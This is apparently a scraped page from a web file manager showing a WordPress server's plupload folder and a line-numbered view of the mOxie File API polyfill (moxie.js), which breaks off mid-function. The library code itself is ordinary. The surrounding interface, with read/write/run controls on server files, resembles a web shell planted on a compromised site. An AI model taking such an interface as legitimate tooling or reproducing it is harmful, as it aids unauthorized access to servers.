at path:ROOT / wp-includes / js / plupload / moxie.js
run:R W Run
27.14 KB
2025-12-03 06:22:56
R W Run
18.83 KB
2025-12-03 06:22:56
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
17.57 KB
2019-11-03 17:09:02
R W Run
255.46 KB
2025-04-16 02:33:33
R W Run
92.42 KB
2023-02-02 16:36:32
R W Run
65.98 KB
2019-11-03 17:09:02
R W Run
22.32 KB
2023-02-02 16:36:32
R W Run
23.39 KB
2024-02-02 17:48:15
R W Run
12.97 KB
2024-02-02 17:48:15
R W Run
error_log
📄moxie.js
1;var MXI_DEBUG = false;
2/**
3 * mOxie - multi-runtime File API & XMLHttpRequest L2 Polyfill
4 * v1.3.5.1
5 *
6 * Copyright 2013, Moxiecode Systems AB
7 * Released under GPL License.
8 *
9 * License: http://www.plupload.com/license
10 * Contributing: http://www.plupload.com/contributing
11 *
12 * Date: 2016-05-15
13 */
14/**
15 * Compiled inline version. (Library mode)
16 */
17
18/**
19 * Modified for WordPress.
20 * - Silverlight and Flash runtimes support was removed. See https://core.trac.wordpress.org/ticket/41755.
21 * - A stray Unicode character has been removed. See https://core.trac.wordpress.org/ticket/59329.
22 *
23 * This is a de-facto fork of the mOxie library that will be maintained by WordPress due to upstream license changes
24 * that are incompatible with the GPL.
25 */
26
27/*jshint smarttabs:true, undef:true, latedef:true, curly:true, bitwise:true, camelcase:true */
28/*globals $code */
29
30(function(exports, undefined) {
31 "use strict";
32
33 var modules = {};
34
35 function require(ids, callback) {
36 var module, defs = [];
37
38 for (var i = 0; i < ids.length; ++i) {
39 module = modules[ids[i]] || resolve(ids[i]);
40 if (!module) {
41 throw 'module definition dependecy not found: ' + ids[i];
42 }
43
44 defs.push(module);
45 }
46
47 callback.apply(null, defs);
48 }
49
50 function define(id, dependencies, definition) {
51 if (typeof id !== 'string') {
52 throw 'invalid module definition, module id must be defined and be a string';
53 }
54
55 if (dependencies === undefined) {
56 throw 'invalid module definition, dependencies must be specified';
57 }
58
59 if (definition === undefined) {
60 throw 'invalid module definition, definition function must be specified';
61 }
62
63 require(dependencies, function() {
64 modules[id] = definition.apply(null, arguments);
65 });
66 }
67
68 function defined(id) {
69 return !!modules[id];
70 }
71
72 function resolve(id) {
73 var target = exports;
74 var fragments = id.split(/[.\/]/);
75
76 for (var fi = 0; fi < fragments.length; ++fi) {
77 if (!target[fragments[fi]]) {
78 return;
79 }
80
81 target = target[fragments[fi]];
82 }
83
84 return target;
85 }
86
87 function expose(ids) {
88 for (var i = 0; i < ids.length; i++) {
89 var target = exports;
90 var id = ids[i];
91 var fragments = id.split(/[.\/]/);
92
93 for (var fi = 0; fi < fragments.length - 1; ++fi) {
94 if (target[fragments[fi]] === undefined) {
95 target[fragments[fi]] = {};
96 }
97
98 target = target[fragments[fi]];
99 }
100
101 target[fragments[fragments.length - 1]] = modules[id];
102 }
103 }
104
105// Included from: src/javascript/core/utils/Basic.js
106
107/**
108 * Basic.js
109 *
110 * Copyright 2013, Moxiecode Systems AB
111 * Released under GPL License.
112 *
113 * License: http://www.plupload.com/license
114 * Contributing: http://www.plupload.com/contributing
115 */
116
117define('moxie/core/utils/Basic', [], function() {
118 /**
119 Gets the true type of the built-in object (better version of typeof).
120 @author Angus Croll (http://javascriptweblog.wordpress.com/)
121
122 @method typeOf
123 @for Utils
124 @static
125 @param {Object} o Object to check.
126 @return {String} Object [[Class]]
127 */
128 var typeOf = function(o) {
129 var undef;
130
131 if (o === undef) {
132 return 'undefined';
133 } else if (o === null) {
134 return 'null';
135 } else if (o.nodeType) {
136 return 'node';
137 }
138
139 // the snippet below is awesome, however it fails to detect null, undefined and arguments types in IE lte 8
140 return ({}).toString.call(o).match(/\s([a-z|A-Z]+)/)[1].toLowerCase();
141 };
142
143 /**
144 Extends the specified object with another object.
145
146 @method extend
147 @static
148 @param {Object} target Object to extend.
149 @param {Object} [obj]* Multiple objects to extend with.
150 @return {Object} Same as target, the extended object.
151 */
152 var extend = function(target) {
153 var undef;
154
155 each(arguments, function(arg, i) {
156 if (i > 0) {
157 each(arg, function(value, key) {
158 if (value !== undef) {
159 if (typeOf(target[key]) === typeOf(value) && !!~inArray(typeOf(value), ['array', 'object'])) {
160 extend(target[key], value);
161 } else {
162 target[key] = value;
163 }
164 }
165 });
166 }
167 });
168 return target;
169 };
170
171 /**
172 Executes the callback function for each item in array/object. If you return false in the
173 callback it will break the loop.
174
175 @method each
176 @static
177 @param {Object} obj Object to iterate.
178 @param {function} callback Callback function to execute for each item.
179 */
180 var each = function(obj, callback) {
181 var length, key, i, undef;
182
183 if (obj) {
184 if (typeOf(obj.length) === 'number') { // it might be Array, FileList or even arguments object
185 // Loop array items
186 for (i = 0, length = obj.length; i < length; i++) {
187 if (callback(obj[i], i) === false) {
188 return;
189 }
190 }
191 } else if (typeOf(obj) === 'object') {
192 // Loop object items
193 for (key in obj) {
194 if (obj.hasOwnProperty(key)) {
195 if (callback(obj[key], key) === false) {
196 return;
197 }
198 }
199 }
200 }
201 }
202 };
203
204 /**
205 Checks if object is empty.
206
207 @method isEmptyObj
208 @static
209 @param {Object} o Object to check.
210 @return {Boolean}
211 */
212 var isEmptyObj = function(obj) {
213 var prop;
214
215 if (!obj || typeOf(obj) !== 'object') {
216 return true;
217 }
218
219 for (prop in obj) {
220 return false;
221 }
222
223 return true;
224 };
225
226 /**
227 Recieve an array of functions (usually async) to call in sequence, each function
228 receives a callback as first argument that it should call, when it completes. Finally,
229 after everything is complete, main callback is called. Passing truthy value to the
230 callback as a first argument will interrupt the sequence and invoke main callback
231 immediately.
232
233 @method inSeries
234 @static
235 @param {Array} queue Array of functions to call in sequence
236 @param {Function} cb Main callback that is called in the end, or in case of error
237 */
238 var inSeries = function(queue, cb) {
239 var i = 0, length = queue.length;
240
241 if (typeOf(cb) !== 'function') {
242 cb = function() {};
243 }
244
245 if (!queue || !queue.length) {
246 cb();
247 }
248
249 function callNext(i) {
250 if (typeOf(queue[i]) === 'function') {
251 queue[i](function(error) {
252 /*jshint expr:true */
253 ++i < length && !error ? callNext(i) : cb(error);
254 });
255 }
256 }
257 callNext(i);
258 };
259
260
261 /**
262 Recieve an array of functions (usually async) to call in parallel, each function
263 receives a callback as first argument that it should call, when it completes. After
264 everything is complete, main callback is called. Passing truthy value to the
265 callback as a first argument will interrupt the process and invoke main callback
266 immediately.
267
268 @method inParallel
269 @static
270 @param {Array} queue Array of functions to call in sequence
271 @param {Function} cb Main callback that is called in the end, or in case of error
272 */
273 var inParallel = function(queue, cb) {
274 var count = 0, num = queue.length, cbArgs = new Array(num);
275
276 each(queue, function(fn, i) {
277 fn(function(error) {
278 if (error) {
279 return cb(error);
280 }
281
282 var args = [].slice.call(arguments);
283 args.shift(); // strip error - undefined or not
284
285 cbArgs[i] = args;
286 count++;
287
288 if (count === num) {
289 cbArgs.unshift(null);
290 cb.apply(this, cbArgs);
291 }
292 });
293 });
294 };
295
296
297 /**
298 Find an element in array and return it's index if present, otherwise return -1.
299
300 @method inArray
301 @static
302 @param {Mixed} needle Element to find
303 @param {Array} array
304 @return {Int} Index of the element, or -1 if not found
305 */
306 var inArray = function(needle, array) {
307 if (array) {
308 if (Array.prototype.indexOf) {
309 return Array.prototype.indexOf.call(array, needle);
310 }
311
312 for (var i = 0, length = array.length; i < length; i++) {
313 if (array[i] === needle) {
314 return i;
315 }
316 }
317 }
318 return -1;
319 };
320
321
322 /**
323 Returns elements of first array if they are not present in second. And false - otherwise.
324
325 @private
326 @method arrayDiff
327 @param {Array} needles
328 @param {Array} array
329 @return {Array|Boolean}
330 */
331 var arrayDiff = function(needles, array) {
332 var diff = [];
333
334 if (typeOf(needles) !== 'array') {
335 needles = [needles];
336 }
337
338 if (typeOf(array) !== 'array') {
339 array = [array];
340 }
341
342 for (var i in needles) {
343 if (inArray(needles[i], array) === -1) {
344 diff.push(needles[i]);
345 }
346 }
347 return diff.length ? diff : false;
348 };
349
350
351 /**
352 Find intersection of two arrays.
353
354 @private
355 @method arrayIntersect
356 @param {Array} array1
357 @param {Array} array2
358 @return {Array} Intersection of two arrays or null if there is none
359 */
360 var arrayIntersect = function(array1, array2) {
361 var result = [];
362 each(array1, function(item) {
363 if (inArray(item, array2) !== -1) {
364 result.push(item);
365 }
366 });
367 return result.length ? result : null;
368 };
369
370
371 /**
372 Forces anything into an array.
373
374 @method toArray
375 @static
376 @param {Object} obj Object with length field.
377 @return {Array} Array object containing all items.
378 */
379 var toArray = function(obj) {
380 var i, arr = [];
381
382 for (i = 0; i < obj.length; i++) {
383 arr[i] = obj[i];
384 }
385
386 return arr;
387 };
388
389
390 /**
391 Generates an unique ID. The only way a user would be able to get the same ID is if the two persons
392 at the same exact millisecond manage to get the same 5 random numbers between 0-65535; it also uses
393 a counter so each ID is guaranteed to be unique for the given page. It is more probable for the earth
394 to be hit with an asteroid.
395
396 @method guid
397 @static
398 @param {String} prefix to prepend (by default 'o' will be prepended).
399 @method guid
400 @return {String} Virtually unique id.
401 */
402 var guid = (function() {
403 var counter = 0;
404
405 return function(prefix) {
406 var guid = new Date().getTime().toString(32), i;
407
408 for (i = 0; i < 5; i++) {
409 guid += Math.floor(Math.random() * 65535).toString(32);
410 }
411
412 return (prefix || 'o_') + guid + (counter++).toString(32);
413 };
414 }());
415
416
417 /**
418 Trims white spaces around the string
419
420 @method trim
421 @static
422 @param {String} str
423 @return {String}
424 */
425 var trim = function(str) {
426 if (!str) {
427 return str;
428 }
429 return String.prototype.trim ? String.prototype.trim.call(str) : str.toString().replace(/^\s*/, '').replace(/\s*$/, '');
430 };
431
432
433 /**
434 Parses the specified size string into a byte value. For example 10kb becomes 10240.
435
436 @method parseSizeStr
437 @static
438 @param {String/Number} size String to parse or number to just pass through.
439 @return {Number} Size in bytes.
440 */
441 var parseSizeStr = function(size) {
442 if (typeof(size) !== 'string') {
443 return size;
444 }
445
446 var muls = {
447 t: 1099511627776,
448 g: 1073741824,
449 m: 1048576,
450 k: 1024
451 },
452 mul;
453
454
455 size = /^([0-9\.]+)([tmgk]?)$/.exec(size.toLowerCase().replace(/[^0-9\.tmkg]/g, ''));
456 mul = size[2];
457 size = +size[1];
458
459 if (muls.hasOwnProperty(mul)) {
460 size *= muls[mul];
461 }
462 return Math.floor(size);
463 };
464
465
466 /**
467 * Pseudo sprintf implementation - simple way to replace tokens with specified values.
468 *
469 * @param {String} str String with tokens
470 * @return {String} String with replaced tokens
471 */
472 var sprintf = function(str) {
473 var args = [].slice.call(arguments, 1);
474
475 return str.replace(/%[a-z]/g, function() {
476 var value = args.shift();
477 return typeOf(value) !== 'undefined' ? value : '';
478 });
479 };
480
481
482 return {
483 guid: guid,
484 typeOf: typeOf,
485 extend: extend,
486 each: each,
487 isEmptyObj: isEmptyObj,
488 inSeries: inSeries,
489 inParallel: inParallel,
490 inArray: inArray,
491 arrayDiff: arrayDiff,
492 arrayIntersect: arrayIntersect,
493 toArray: toArray,
494 trim: trim,
495 sprintf: sprintf,
496 parseSizeStr: parseSizeStr
497 };
498});
499
500// Included from: src/javascript/core/utils/Env.js
501
502/**
503 * Env.js
504 *
505 * Copyright 2013, Moxiecode Systems AB
506 * Released under GPL License.
507 *
508 * License: http://www.plupload.com/license
509 * Contributing: http://www.plupload.com/contributing
510 */
511
512define("moxie/core/utils/Env", [
513 "moxie/core/utils/Basic"
514], function(Basic) {
515
516 /**
517 * UAParser.js v0.7.7
518 * Lightweight JavaScript-based User-Agent string parser
519 * https://github.com/faisalman/ua-parser-js
520 *
521 * Copyright © 2012-2015 Faisal Salman <fyzlman@gmail.com>
522 * Dual licensed under GPLv2 & MIT
523 */
524 var UAParser = (function (undefined) {
525
526 //////////////
527 // Constants
528 /////////////
529
530
531 var EMPTY = '',
532 UNKNOWN = '?',
533 FUNC_TYPE = 'function',
534 UNDEF_TYPE = 'undefined',
535 OBJ_TYPE = 'object',
536 MAJOR = 'major',
537 MODEL = 'model',
538 NAME = 'name',
539 TYPE = 'type',
540 VENDOR = 'vendor',
541 VERSION = 'version',
542 ARCHITECTURE= 'architecture',
543 CONSOLE = 'console',
544 MOBILE = 'mobile',
545 TABLET = 'tablet';
546
547
548 ///////////
549 // Helper
550 //////////
551
552
553 var util = {
554 has : function (str1, str2) {
555 return str2.toLowerCase().indexOf(str1.toLowerCase()) !== -1;
556 },
557 lowerize : function (str) {
558 return str.toLowerCase();
559 }
560 };
561
562
563 ///////////////
564 // Map helper
565 //////////////
566
567
568 var mapper = {
569
570 rgx : function () {
571
572 // loop through all regexes maps
573 for (var result, i = 0, j, k, p, q, matches, match, args = arguments; i < args.length; i += 2) {
574
575 var regex = args[i], // even sequence (0,2,4,..)
576 props = args[i + 1]; // odd sequence (1,3,5,..)
577
578 // construct object barebones
579 if (typeof(result) === UNDEF_TYPE) {
580 result = {};
581 for (p in props) {
582 q = props[p];
583 if (typeof(q) === OBJ_TYPE) {
584 result[q[0]] = undefined;
585 } else {
586 result[q] = undefined;
587 }
588 }
589 }
590
591 // try matching uastring with regexes
592 for (j = k = 0; j < regex.length; j++) {
593 matches = regex[j].exec(this.getUA());
594 if (!!matches) {
595 for (p = 0; p < props.length; p++) {
596 match = matches[++k];
597 q = props[p];
598 // check if given property is actually array
599 if (typeof(q) === OBJ_TYPE && q.length > 0) {
600 if (q.length == 2) {
601 if (typeof(q[1]) == FUNC_TYPE) {
602 // assign modified match
603 result[q[0]] = q[1].call(this, match);
604 } else {
605 // assign given value, ignore regex match
606 result[q[0]] = q[1];
607 }
608 } else if (q.length == 3) {
609 // check whether function or regex
610 if (typeof(q[1]) === FUNC_TYPE && !(q[1].exec && q[1].test)) {
611 // call function (usually string mapper)
612 result[q[0]] = match ? q[1].call(this, match, q[2]) : undefined;
613 } else {
614 // sanitize match using given regex
615 result[q[0]] = match ? match.replace(q[1], q[2]) : undefined;
616 }
617 } else if (q.length == 4) {
618 result[q[0]] = match ? q[3].call(this, match.replace(q[1], q[2])) : undefined;
619 }
620 } else {
621 result[q] = match ? match : undefined;
622 }
623 }
624 break;
625 }
626 }
627
628 if(!!matches) break; // break the loop immediately if match found
629 }
630 return result;
631 },
632
633 str : function (str, map) {
634
635 for (var i in map) {
636 // check if array
637 if (typeof(map[i]) === OBJ_TYPE && map[i].length > 0) {
638 for (var j = 0; j < map[i].length; j++) {
639 if (util.has(map[i][j], str)) {
640 return (i === UNKNOWN) ? undefined : i;
641 }
642 }
643 } else if (util.has(map[i], str)) {
644 return (i === UNKNOWN) ? undefined : i;
645 }
646 }
647 return str;
648 }
649 };
650
651
652 ///////////////
653 // String map
654 //////////////
655
656
657 var maps = {
658
659 browser : {
660 oldsafari : {
661 major : {
662 '1' : ['/8', '/1', '/3'],
663 '2' : '/4',
664 '?' : '/'
665 },
666 version : {
667 '1.0' : '/8',
668 '1.2' : '/1',
669 '1.3' : '/3',
670 '2.0' : '/412',
671 '2.0.2' : '/416',
672 '2.0.3' : '/417',
673 '2.0.4' : '/419',
674 '?' : '/'
675 }
676 }
677 },
678
679 device : {
680 sprint : {
681 model : {
682 'Evo Shift 4G' : '7373KT'
683 },
684 vendor : {
685 'HTC' : 'APA',
686 'Sprint' : 'Sprint'
687 }
688 }
689 },
690
691 os : {
692 windows : {
693 version : {
694 'ME' : '4.90',
695 'NT 3.11' : 'NT3.51',
696 'NT 4.0' : 'NT4.0',
697 '2000' : 'NT 5.0',
698 'XP' : ['NT 5.1', 'NT 5.2'],
699 'Vista' : 'NT 6.0',
700 '7' : 'NT 6.1',
701 '8' : 'NT 6.2',
702 '8.1' : 'NT 6.3',
703 'RT' : 'ARM'
704 }
705 }
706 }
707 };
708
709
710 //////////////
711 // Regex map
712 /////////////
713
714
715 var regexes = {
716
717 browser : [[
718
719 // Presto based
720 /(opera\smini)\/([\w\.-]+)/i, // Opera Mini
721 /(opera\s[mobiletab]+).+version\/([\w\.-]+)/i, // Opera Mobi/Tablet
722 /(opera).+version\/([\w\.]+)/i, // Opera > 9.80
723 /(opera)[\/\s]+([\w\.]+)/i // Opera < 9.80
724
725 ], [NAME, VERSION], [
726
727 /\s(opr)\/([\w\.]+)/i // Opera Webkit
728 ], [[NAME, 'Opera'], VERSION], [
729
730 // Mixed
731 /(kindle)\/([\w\.]+)/i, // Kindle
732 /(lunascape|maxthon|netfront|jasmine|blazer)[\/\s]?([\w\.]+)*/i,
733 // Lunascape/Maxthon/Netfront/Jasmine/Blazer
734
735 // Trident based
736 /(avant\s|iemobile|slim|baidu)(?:browser)?[\/\s]?([\w\.]*)/i,
737 // Avant/IEMobile/SlimBrowser/Baidu
738 /(?:ms|\()(ie)\s([\w\.]+)/i, // Internet Explorer
739
740 // Webkit/KHTML based
741 /(rekonq)\/([\w\.]+)*/i, // Rekonq
742 /(chromium|flock|rockmelt|midori|epiphany|silk|skyfire|ovibrowser|bolt|iron|vivaldi)\/([\w\.-]+)/i
743 // Chromium/Flock/RockMelt/Midori/Epiphany/Silk/Skyfire/Bolt/Iron
744 ], [NAME, VERSION], [
745
746 /(trident).+rv[:\s]([\w\.]+).+like\sgecko/i // IE11
747 ], [[NAME, 'IE'], VERSION], [
748
749 /(edge)\/((\d+)?[\w\.]+)/i // Microsoft Edge
750 ], [NAME, VERSION], [
751
752 /(yabrowser)\/([\w\.]+)/i // Yandex
753 ], [[NAME, 'Yandex'], VERSION], [
754
755 /(comodo_dragon)\/([\w\.]+)/i // Comodo Dragon
756 ], [[NAME, /_/g, ' '], VERSION], [
757
758 /(chrome|omniweb|arora|[tizenoka]{5}\s?browser)\/v?([\w\.]+)/i,
759 // Chrome/OmniWeb/Arora/Tizen/Nokia
760 /(uc\s?browser|qqbrowser)[\/\s]?([\w\.]+)/i
761 // UCBrowser/QQBrowser
762 ], [NAME, VERSION], [
763
764 /(dolfin)\/([\w\.]+)/i // Dolphin
765 ], [[NAME, 'Dolphin'], VERSION], [
766
767 /((?:android.+)crmo|crios)\/([\w\.]+)/i // Chrome for Android/iOS
768 ], [[NAME, 'Chrome'], VERSION], [
769
770 /XiaoMi\/MiuiBrowser\/([\w\.]+)/i // MIUI Browser
771 ], [VERSION, [NAME, 'MIUI Browser']], [
772
773 /android.+version\/([\w\.]+)\s+(?:mobile\s?safari|safari)/i // Android Browser
774 ], [VERSION, [NAME, 'Android Browser']], [
775
776 /FBAV\/([\w\.]+);/i // Facebook App for iOS
777 ], [VERSION, [NAME, 'Facebook']], [
778
779 /version\/([\w\.]+).+?mobile\/\w+\s(safari)/i // Mobile Safari
780 ], [VERSION, [NAME, 'Mobile Safari']], [
781
782 /version\/([\w\.]+).+?(mobile\s?safari|safari)/i // Safari & Safari Mobile
783 ], [VERSION, NAME], [
784
785 /webkit.+?(mobile\s?safari|safari)(\/[\w\.]+)/i // Safari < 3.0
786 ], [NAME, [VERSION, mapper.str, maps.browser.oldsafari.version]], [
787
788 /(konqueror)\/([\w\.]+)/i, // Konqueror
789 /(webkit|khtml)\/([\w\.]+)/i
790 ], [NAME, VERSION], [
791
792 // Gecko based
793 /(navigator|netscape)\/([\w\.-]+)/i // Netscape
794 ], [[NAME, 'Netscape'], VERSION], [
795 /(swiftfox)/i, // Swiftfox
796 /(icedragon|iceweasel|camino|chimera|fennec|maemo\sbrowser|minimo|conkeror)[\/\s]?([\w\.\+]+)/i,
797 // IceDragon/Iceweasel/Camino/Chimera/Fennec/Maemo/Minimo/Conkeror
798 /(firefox|seamonkey|k-meleon|icecat|iceape|firebird|phoenix)\/([\w\.-]+)/i,
799 // Firefox/SeaMonkey/K-Meleon/IceCat/IceApe/Firebird/Phoenix
800 /(mozilla)\/([\w\.]+).+rv\:.+gecko\/\d+/i, // Mozilla
801
802 // Other
803 /(polaris|lynx|dillo|icab|doris|amaya|w3m|netsurf)[\/\s]?([\w\.]+)/i,
804 // Polaris/Lynx/Dillo/iCab/Doris/Amaya/w3m/NetSurf
805 /(links)\s\(([\w\.]+)/i, // Links
806 /(gobrowser)\/?([\w\.]+)*/i, // GoBrowser
807 /(ice\s?browser)\/v?([\w\._]+)/i, // ICE Browser
808 /(mosaic)[\/\s]([\w\.]+)/i // Mosaic
809 ], [NAME, VERSION]
810 ],
811
812 engine : [[
813
814 /windows.+\sedge\/([\w\.]+)/i // EdgeHTML
815 ], [VERSION, [NAME, 'EdgeHTML']], [
816
817 /(presto)\/([\w\.]+)/i, // Presto
818 /(webkit|trident|netfront|netsurf|amaya|lynx|w3m)\/([\w\.]+)/i, // WebKit/Trident/NetFront/NetSurf/Amaya/Lynx/w3m
819 /(khtml|tasman|links)[\/\s]\(?([\w\.]+)/i, // KHTML/Tasman/Links
820 /(icab)[\/\s]([23]\.[\d\.]+)/i // iCab
821 ], [NAME, VERSION], [
822
823 /rv\:([\w\.]+).*(gecko)/i // Gecko
824 ], [VERSION, NAME]
825 ],
826
827 os : [[
828
829 // Windows based
830 /microsoft\s(windows)\s(vista|xp)/i // Windows (iTunes)
831 ], [NAME, VERSION], [
832 /(windows)\snt\s6\.2;\s(arm)/i, // Windows RT
833 /(windows\sphone(?:\sos)*|windows\smobile|windows)[\s\/]?([ntce\d\.\s]+\w)/i
834 ], [NAME, [VERSION, mapper.str, maps.os.windows.version]], [
835 /(win(?=3|9|n)|win\s9x\s)([nt\d\.]+)/i
836 ], [[NAME, 'Windows'], [VERSION, mapper.str, maps.os.windows.version]], [
837
838 // Mobile/Embedded OS
839 /\((bb)(10);/i // BlackBerry 10
840 ], [[NAME, 'BlackBerry'], VERSION], [
841 /(blackberry)\w*\/?([\w\.]+)*/i, // Blackberry
842 /(tizen)[\/\s]([\w\.]+)/i, // Tizen
843 /(android|webos|palm\os|qnx|bada|rim\stablet\sos|meego|contiki)[\/\s-]?([\w\.]+)*/i,
844 // Android/WebOS/Palm/QNX/Bada/RIM/MeeGo/Contiki
845 /linux;.+(sailfish);/i // Sailfish OS
846 ], [NAME, VERSION], [
847 /(symbian\s?os|symbos|s60(?=;))[\/\s-]?([\w\.]+)*/i // Symbian
848 ], [[NAME, 'Symbian'], VERSION], [
849 /\((series40);/i // Series 40
850 ], [NAME], [
851 /mozilla.+\(mobile;.+gecko.+firefox/i // Firefox OS
852 ], [[NAME, 'Firefox OS'], VERSION], [
853
854 // Console
855 /(nintendo|playstation)\s([wids3portablevu]+)/i, // Nintendo/Playstation
856
857 // GNU/Linux based
858 /(mint)[\/\s\(]?(\w+)*/i, // Mint
859 /(mageia|vectorlinux)[;\s]/i, // Mageia/VectorLinux
860 /(joli|[kxln]?ubuntu|debian|[open]*suse|gentoo|arch|slackware|fedora|mandriva|centos|pclinuxos|redhat|zenwalk|linpus)[\/\s-]?([\w\.-]+)*/i,
861 // Joli/Ubuntu/Debian/SUSE/Gentoo/Arch/Slackware
862 // Fedora/Mandriva/CentOS/PCLinuxOS/RedHat/Zenwalk/Linpus
863 /(hurd|linux)\s?([\w\.]+)*/i, // Hurd/Linux
864 /(gnu)\s?([\w\.]+)*/i // GNU
865 ], [NAME, VERSION], [
866
867 /(cros)\s[\w]+\s([\w\.]+\w)/i // Chromium OS
868 ], [[NAME, 'Chromium OS'], VERSION],[
869
870 // Solaris
871 /(sunos)\s?([\w\.]+\d)*/i // Solaris
872 ], [[NAME, 'Solaris'], VERSION], [
873
874 // BSD based
875 /\s([frentopc-]{0,4}bsd|dragonfly)\s?([\w\.]+)*/i // FreeBSD/NetBSD/OpenBSD/PC-BSD/DragonFly
876 ], [NAME, VERSION],[
877
878 /(ip[honead]+)(?:.*os\s*([\w]+)*\slike\smac|;\sopera)/i // iOS
879 ], [[NAME, 'iOS'], [VERSION, /_/g, '.']], [
880
881 /(mac\sos\sx)\s?([\w\s\.]+\w)*/i,
882 /(macintosh|mac(?=_powerpc)\s)/i // Mac OS
883 ], [[NAME, 'Mac OS'], [VERSION, /_/g, '.']], [
884
885 // Other
886 /((?:open)?solaris)[\/\s-]?([\w\.]+)*/i, // Solaris
887 /(haiku)\s(\w+)/i, // Haiku
888 /(aix)\s((\d)(?=\.|\)|\s)[\w\.]*)*/i, // AIX
889 /(plan\s9|minix|beos|os\/2|amigaos|morphos|risc\sos|openvms)/i,
890 // Plan9/Minix/BeOS/OS2/AmigaOS/MorphOS/RISCOS/OpenVMS
891 /(unix)\s?([\w\.]+)*/i // UNIX
892 ], [NAME, VERSION]
893 ]
894 };
895
896
897 /////////////////
898 // Constructor
899 ////////////////
900
901
902 var UAParser = function (uastring) {
903
904 var ua = uastring || ((window && window.navigator && window.navigator.userAgent) ? window.navigator.userAgent : EMPTY);
905
906 this.getBrowser = function () {
907 return mapper.rgx.apply(this, regexes.browser);
908 };
909 this.getEngine = function () {
910 return mapper.rgx.apply(this, regexes.engine);
911 };
912 this.getOS = function () {
913 return mapper.rgx.apply(this, regexes.os);
914 };
915 this.getResult = function() {
916 return {
917 ua : this.getUA(),
918 browser : this.getBrowser(),
919 engine : this.getEngine(),
920 os : this.getOS()
921 };
922 };
923 this.getUA = function () {
924 return ua;
925 };
926 this.setUA = function (uastring) {
927 ua = uastring;
928 return this;
929 };
930 this.setUA(ua);
931 };
932
933 return UAParser;
934 })();
935
936
937 function version_compare(v1, v2, operator) {
938 // From: http://phpjs.org/functions
939 // + original by: Philippe Jausions (http://pear.php.net/user/jausions)
940 // + original by: Aidan Lister (http://aidanlister.com/)
941 // + reimplemented by: Kankrelune (http://www.webfaktory.info/)
942 // + improved by: Brett Zamir (http://brett-zamir.me)
943 // + improved by: Scott Baker
944 // + improved by: Theriault
945 // * example 1: version_compare('8.2.5rc', '8.2.5a');
946 // * returns 1: 1
947 // * example 2: version_compare('8.2.50', '8.2.52', '<');
948 // * returns 2: true
949 // * example 3: version_compare('5.3.0-dev', '5.3.0');
950 // * returns 3: -1
951 // * example 4: version_compare('4.1.0.52','4.01.0.51');
952 // * returns 4: 1
953
954 // Important: compare must be initialized at 0.
955 var i = 0,
956 x = 0,
957 compare = 0,
958 // vm maps textual PHP versions to negatives so they're less than 0.
959 // PHP currently defines these as CASE-SENSITIVE. It is important to
960 // leave these as negatives so that they can come before numerical versions
961 // and as if no letters were there to begin with.
962 // (1alpha is < 1 and < 1.1 but > 1dev1)
963 // If a non-numerical value can't be mapped to this table, it receives
964 // -7 as its value.
965 vm = {
966 'dev': -6,
967 'alpha': -5,
968 'a': -5,
969 'beta': -4,
970 'b': -4,
971 'RC': -3,
972 'rc': -3,
973 '#': -2,
974 'p': 1,
975 'pl': 1
976 },
977 // This function will be called to prepare each version argument.
978 // It replaces every _, -, and + with a dot.
979 // It surrounds any nonsequence of numbers/dots with dots.
980 // It replaces sequences of dots with a single dot.
981 // version_compare('4..0', '4.0') == 0
982 // Important: A string of 0 length needs to be converted into a value
983 // even less than an unexisting value in vm (-7), hence [-8].
984 // It's also important to not strip spaces because of this.
985 // version_compare('', ' ') == 1
986 prepVersion = function (v) {
987 v = ('' + v).replace(/[_\-+]/g, '.');
988 v = v.replace(/([^.\d]+)/g, '.$1.').replace(/\.{2,}/g, '.');
989 return (!v.length ? [-8] : v.split('.'));
990 },
991 // This converts a version component to a number.
992 // Empty component becomes 0.
993 // Non-numerical component becomes a negative number.
994 // Numerical component becomes itself as an integer.
995 numVersion = function (v) {
996 return !v ? 0 : (isNaN(v) ? vm[v] || -7 : parseInt(v, 10));
997 };
998
999 v1 = prepVersion(v1);
1000 v2 = prepVersion(v2);
1001 x = Math.max(v1.length, v2.length);
1002 for (i = 0; i < x; i++) {
1003 if (v1[i] == v2[i]) {
1004 continue;
1005 }
1006 v1[i] = numVersion(v1[i]);
1007 v2[i] = numVersion(v2[i]);
1008 if (v1[i] < v2[i]) {
1009 compare = -1;
1010 break;
1011 } else if (v1[i] > v2[i]) {
1012 compare = 1;
1013 break;
1014 }
1015 }
1016 if (!operator) {
1017 return compare;
1018 }
1019
1020 // Important: operator is CASE-SENSITIVE.
1021 // "No operator" seems to be treated as "<."
1022 // Any other values seem to make the function return null.
1023 switch (operator) {
1024 case '>':
1025 case 'gt':
1026 return (compare > 0);
1027 case '>=':
1028 case 'ge':
1029 return (compare >= 0);
1030 case '<=':
1031 case 'le':
1032 return (compare <= 0);
1033 case '==':
1034 case '=':
1035 case 'eq':
1036 return (compare === 0);
1037 case '<>':
1038 case '!=':
1039 case 'ne':
1040 return (compare !== 0);
1041 case '':
1042 case '<':
1043 case 'lt':
1044 return (compare < 0);
1045 default:
1046 return null;
1047 }
1048 }
1049
1050
1051 var can = (function() {
1052 var caps = {
1053 define_property: (function() {
1054 /* // currently too much extra code required, not exactly worth it
1055 try { // as of IE8, getters/setters are supported only on DOM elements
1056 var obj = {};
1057 if (Object.defineProperty) {
1058 Object.defineProperty(obj, 'prop', {
1059 enumerable: true,
1060 configurable: true
1061 });
1062 return true;
1063 }
1064 } catch(ex) {}
1065
1066 if (Object.prototype.__defineGetter__ && Object.prototype.__defineSetter__) {
1067 return true;
1068 }*/
1069 return false;
1070 }()),
1071
1072 create_canvas: (function() {
1073 // On the S60 and BB Storm, getContext exists, but always returns undefined
1074 // so we actually have to call getContext() to verify
1075 // github.com/Modernizr/Modernizr/issues/issue/97/
1076 var el = document.createElement('canvas');
1077 return !!(el.getContext && el.getContext('2d'));
1078 }()),
1079
1080 return_response_type: function(responseType) {
1081 try {
1082 if (Basic.inArray(responseType, ['', 'text', 'document']) !== -1) {
1083 return true;
1084 } else if (window.XMLHttpRequest) {
1085 var xhr = new XMLHttpRequest();
1086 xhr.open('get', '/'); // otherwise Gecko throws an exception
1087 if ('responseType' in xhr) {
1088 xhr.responseType = responseType;
1089 // as of 23.0.1271.64, Chrome switched from throwing exception to merely logging it to the console (why? o why?)
1090 if (xhr.responseType !== responseType) {
1091 return false;
1092 }
1093 return true;
1094 }
1095 }
